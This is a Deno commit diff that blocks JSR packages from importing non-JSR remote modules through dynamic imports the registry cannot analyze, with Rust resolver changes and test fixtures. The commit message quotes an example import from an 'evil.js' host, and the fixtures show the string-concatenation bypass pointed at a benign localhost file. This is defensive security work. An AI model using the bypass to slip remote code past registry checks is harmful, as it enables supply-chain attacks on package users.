diff options
author | David Sherret <dsherret@users.noreply.github.com> | 2024-02-28 16:30:45 -0500 |
---|---|---|
committer | GitHub <noreply@github.com> | 2024-02-28 16:30:45 -0500 |
commit | 918c5e648f4bd08d768374ccde1b451b84793b76 (patch) | |
tree | d8fd19eefae2f816d7301336413b49a08b9803e3 | |
parent | f54acb53ed917eab1c7a2ba62e73963f9632d3df (diff) |
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:
```ts
const data = await import("https://example.com/evil.js");
```
However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
10 files changed, 153 insertions, 77 deletions
diff --git a/cli/module_loader.rs b/cli/module_loader.rs index ae7f8f349..0951a287c 100644 --- a/cli/module_loader.rs +++ b/cli/module_loader.rs @@ -1,5 +1,6 @@ // Copyright 2018-2024 the Deno authors. All rights reserved. MIT license. +use crate::args::jsr_url; use crate::args::CliOptions; use crate::args::DenoSubcommand; use crate::args::TsTypeLib; @@ -24,6 +25,7 @@ use crate::worker::ModuleLoaderFactory; use deno_ast::MediaType; use deno_core::anyhow::anyhow; +use deno_core::anyhow::bail; use deno_core::anyhow::Context; use deno_core::error::custom_error; use deno_core::error::generic_error; @@ -478,13 +480,28 @@ impl CliModuleLoader { &code_source.found_url, )) } -} -impl ModuleLoader for CliModuleLoader { - fn resolve( + fn resolve_referrer( &self, - specifier: &str, referrer: &str, + ) -> Result<ModuleSpecifier, AnyError> { + // TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each + // call - maybe it should be caller's responsibility to pass it as an arg? + let cwd = std::env::current_dir().context("Unable to get CWD")?; + if referrer.is_empty() && self.shared.is_repl { + // FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL + // and `Deno.core.evalContext` API. Ideally we should always have a referrer filled + // but sadly that's not the case due to missing APIs in V8. + deno_core::resolve_path("./$deno$repl.ts", &cwd).map_err(|e| e.into()) + } else { + deno_core::resolve_url_or_path(referrer, &cwd).map_err(|e| e.into()) + } + } + + fn inner_resolve( + &self, + specifier: &str, + referrer: &ModuleSpecifier, kind: ResolutionKind, ) -> Result<ModuleSpecifier, AnyError> { let permissions = if matches!(kind, ResolutionKind::DynamicImport) { @@ -493,84 +510,66 @@ impl ModuleLoader for CliModuleLoader { &self.root_permissions }; - // TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each - // call - maybe it should be caller's responsibility to pass it as an arg? - let cwd = std::env::current_dir().context("Unable to get CWD")?; - let referrer_result = deno_core::resolve_url_or_path(referrer, &cwd); + if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package( + specifier, + referrer, + permissions, + ) { + return result; + } - if let Ok(referrer) = referrer_result.as_ref() { - if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package( - specifier, - referrer, - permissions, - ) { - return result; + let graph = self.shared.graph_container.graph(); + let maybe_resolved = match graph.get(referrer) { + Some(Module::Js(module)) => { + module.dependencies.get(specifier).map(|d| &d.maybe_code) } + _ => None, + }; - let graph = self.shared.graph_container.graph(); - let maybe_resolved = match graph.get(referrer) { - Some(Module::Js(module)) => { - module.dependencies.get(specifier).map(|d| &d.maybe_code) - } - _ => None, - }; - - match maybe_resolved { - Some(Resolution::Ok(resolved)) => { - let specifier = &resolved.specifier; - - return match graph.get(specifier) { - Some(Module::Npm(module)) => { - let package_folder = self - .shared - .node_resolver - .npm_resolver - .as_managed() - .unwrap() // byonm won't create a Module::Npm - .resolve_pkg_folder_from_deno_module( - module.nv_reference.nv(), - )?; - self - .shared - .node_resolver - .resolve_package_sub_path( - &package_folder, - module.nv_reference.sub_path(), - referrer, - permissions, - ) - .with_context(|| { - format!("Could not resolve '{}'.", module.nv_reference) - }) - } - Some(Module::Node(module)) => Ok(module.specifier.clone()), - Some(Module::Js(module)) => Ok(module.specifier.clone()), - Some(Module::Json(module)) => Ok(module.specifier.clone()), - Some(Module::External(module)) => { - Ok(node::resolve_specifier_into_node_modules(&module.specifier)) - } - None => Ok(specifier.clone()), - }; - } - Some(Resolution::Err(err)) => { - return Err(custom_error( - "TypeError", - format!("{}\n", err.to_string_with_range()), - )) - } - Some(Resolution::None) | None => {} + match maybe_resolved { + Some(Resolution::Ok(resolved)) => { + let specifier = &resolved.specifier; + let specifier = match graph.get(specifier) { + Some(Module::Npm(module)) => { + let package_folder = self + .shared + .node_resolver + .npm_resolver + .as_managed() + .unwrap() // byonm won't create a Module::Npm + .resolve_pkg_folder_from_deno_module(module.nv_reference.nv())?; + self + .shared + .node_resolver + .resolve_package_sub_path( + &package_folder, + module.nv_reference.sub_path(), + referrer, + permissions, + ) + .with_context(|| { + format!("Could not resolve '{}'.", module.nv_reference) + })? + } + Some(Module::Node(module)) => module.specifier.clone(), + Some(Module::Js(module)) => module.specifier.clone(), + Some(Module::Json(module)) => module.specifier.clone(), + Some(Module::External(module)) => { + node::resolve_specifier_into_node_modules(&module.specifier) + } + None => specifier.clone(), + }; + return Ok(specifier); } + Some(Resolution::Err(err)) => { + return Err(custom_error( + "TypeError", + format!("{}\n", err.to_string_with_range()), + )) + } + Some(Resolution::None) | None => {} } - // FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL - // and `Deno.core.evalContext` API. Ideally we should always have a referrer filled - // but sadly that's not the case due to missing APIs in V8. - let referrer = if referrer.is_empty() && self.shared.is_repl { - deno_core::resolve_path("./$deno$repl.ts", &cwd)? - } else { - referrer_result? - }; - // FIXME(bartlomieju): this is another hack way to provide NPM specifier // support in REPL. This should be fixed. let resolution = self.shared.resolver.resolve( @@ -596,7 +595,7 @@ impl ModuleLoader for CliModuleLoader { return self.shared.node_resolver.resolve_req_reference( &reference, permissions, - &referrer, + referrer, ); } } @@ -604,6 +603,33 @@ impl ModuleLoader for CliModuleLoader { resolution.map_err(|err| err.into()) } +} + +impl ModuleLoader for CliModuleLoader { + fn resolve( + &self, + specifier: &str, + referrer: &str, + kind: ResolutionKind, + ) -> Result<ModuleSpecifier, AnyError> { + fn ensure_not_jsr_non_jsr_remote_import( + specifier: &ModuleSpecifier, + referrer: &ModuleSpecifier, + ) -> Result<(), AnyError> { + if referrer.as_str().starts_with(jsr_url().as_str()) + && !specifier.as_str().starts_with(jsr_url().as_str()) + && matches!(specifier.scheme(), "http" | "https") + { + bail!("Importing {} blocked. JSR packages cannot import non-JSR remote modules for security reasons.", specifier); + } + Ok(()) + } + + let referrer = self.resolve_referrer(referrer)?; + let specifier = self.inner_resolve(specifier, &referrer, kind)?; + ensure_not_jsr_non_jsr_remote_import(&specifier, &referrer)?; + Ok(specifier) + } fn load( &self, diff --git a/tests/integration/jsr_tests.rs b/tests/integration/jsr_tests.rs index fa8a9d8b9..25a0c8663 100644 --- a/tests/integration/jsr_tests.rs +++ b/tests/integration/jsr_tests.rs @@ -60,6 +60,22 @@ itest!(deps_info { http_server: true, }); +itest!(import_https_url_analyzable { + args: "run -A jsr/import_https_url/analyzable.ts", + output: "jsr/import_https_url/analyzable.out", + envs: env_vars_for_jsr_tests(), + http_server: true, + exit_code: 1, +}); + +itest!(import_https_url_unanalyzable { + args: "run -A jsr/import_https_url/unanalyzable.ts", + output: "jsr/import_https_url/unanalyzable.out", + envs: env_vars_for_jsr_tests(), + http_server: true, + exit_code: 1, +}); + itest!(subset_type_graph { args: "check --all jsr/subset_type_graph/main.ts", output: "jsr/subset_type_graph/main.check.out", diff --git a/tests/testdata/jsr/import_https_url/analyzable.out b/tests/testdata/jsr/import_https_url/analyzable.out new file mode 100644 index 000000000..dd1ca58b4 --- /dev/null +++ b/tests/testdata/jsr/import_https_url/analyzable.out @@ -0,0 +1,8 @@ +Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts +Download http://localhost:4545/welcome.ts +error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons. +await import("http://localhost:4545/welcome.ts"); +^ + at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/analyzable.ts:1:1 diff --git a/tests/testdata/jsr/import_https_url/analyzable.ts b/tests/testdata/jsr/import_https_url/analyzable.ts new file mode 100644 index 000000000..44382867f --- /dev/null +++ b/tests/testdata/jsr/import_https_url/analyzable.ts @@ -0,0 +1 @@ +import "jsr:@denotest/import-https-url/analyzable"; diff --git a/tests/testdata/jsr/import_https_url/unanalyzable.out b/tests/testdata/jsr/import_https_url/unanalyzable.out new file mode 100644 index 000000000..4ae04996c --- /dev/null +++ b/tests/testdata/jsr/import_https_url/unanalyzable.out @@ -0,0 +1,7 @@ +Download http://127.0.0.1:4250/@denotest/import-https-url/meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0_meta.json +Download http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts +error: Uncaught (in promise) TypeError: Importing http://localhost:4545/welcome.ts blocked. JSR packages cannot import non-JSR remote modules for security reasons. +await import(nonAnalyzableUrl()); +^ + at async http://127.0.0.1:4250/@denotest/import-https-url/1.0.0/unanalyzable.ts:5:1 diff --git a/tests/testdata/jsr/import_https_url/unanalyzable.ts b/tests/testdata/jsr/import_https_url/unanalyzable.ts new file mode 100644 index 000000000..87ccdcfdc --- /dev/null +++ b/tests/testdata/jsr/import_https_url/unanalyzable.ts @@ -0,0 +1 @@ +import "jsr:@denotest/import-https-url/unanalyzable"; diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts new file mode 100644 index 000000000..b1b64d82f --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/analyzable.ts @@ -0,0 +1 @@ +await import("http://localhost:4545/welcome.ts"); diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts new file mode 100644 index 000000000..63001d15f --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0/unanalyzable.ts @@ -0,0 +1,5 @@ +function nonAnalyzableUrl() { + return "http://localhost:4545/" + "welcome.ts"; +} + +await import(nonAnalyzableUrl()); diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json new file mode 100644 index 000000000..23b877080 --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/1.0.0_meta.json @@ -0,0 +1,6 @@ +{ + "exports": { + "./unanalyzable": "./unanalyzable.ts", + "./analyzable": "./analyzable.ts" + } +} diff --git a/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json b/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json new file mode 100644 index 000000000..02601e4d0 --- /dev/null +++ b/tests/testdata/jsr/registry/@denotest/import-https-url/meta.json @@ -0,0 +1,5 @@ +{ + "versions": { + "1.0.0": {} + } +} |